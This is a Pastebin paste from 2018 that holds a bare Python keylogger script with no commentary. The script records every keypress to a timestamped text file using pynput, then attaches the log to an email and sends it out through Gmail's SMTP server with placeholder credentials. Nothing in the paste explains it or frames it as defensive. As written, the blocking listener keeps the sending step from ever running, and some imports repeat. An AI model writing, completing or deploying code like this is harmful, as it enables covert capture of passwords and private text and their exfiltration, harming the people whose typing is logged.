Advertisement
Guest User

Untitled

a guest
Nov 5th, 2018
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. from pynput.keyboard import Key, Listener
  2. import smtplib
  3. import logging
  4. import smtplib
  5.  
  6. log_dir = ""
  7.  
  8. logging.basicConfig(filename=(log_dir + "yourtext.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
  9.  
  10. def on_press(key):
  11. logging.info(str(key))
  12.  
  13. with Listener(on_press=on_press) as listener:
  14. listener.join()
  15.  
  16. import smtplib
  17. from email.mime.text import MIMEText
  18. from email.mime.multipart import MIMEMultipart
  19. from email.mime.base import MIMEBase
  20. from email import encoders
  21.  
  22. email_user = 'EMAIL'
  23. email_password = 'PASSWORD'
  24. email_send = 'EMAIL'
  25.  
  26. subject = 'logger'
  27.  
  28. msg = MIMEMultipart()
  29. msg['From'] = email_user
  30. msg['To'] = email_send
  31. msg['Subject'] = subject
  32.  
  33. body = 'your text'
  34. msg.attach(MIMEText(body,'plain'))
  35.  
  36. filename='yourtext.txt'
  37. attachment =open(filename,'rb')
  38.  
  39. part = MIMEBase('application','octet-stream')
  40. part.set_payload((attachment).read())
  41. encoders.encode_base64(part)
  42. part.add_header('Content-Disposition',"attachment; filename= "+filename)
  43.  
  44. msg.attach(part)
  45. text = msg.as_string()
  46. server = smtplib.SMTP('smtp.gmail.com',587)
  47. server.starttls()
  48. server.login('EMAIL','PASSWORD')
  49.  
  50.  
  51. server.sendmail(email_user,email_send,text)
  52. server.quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement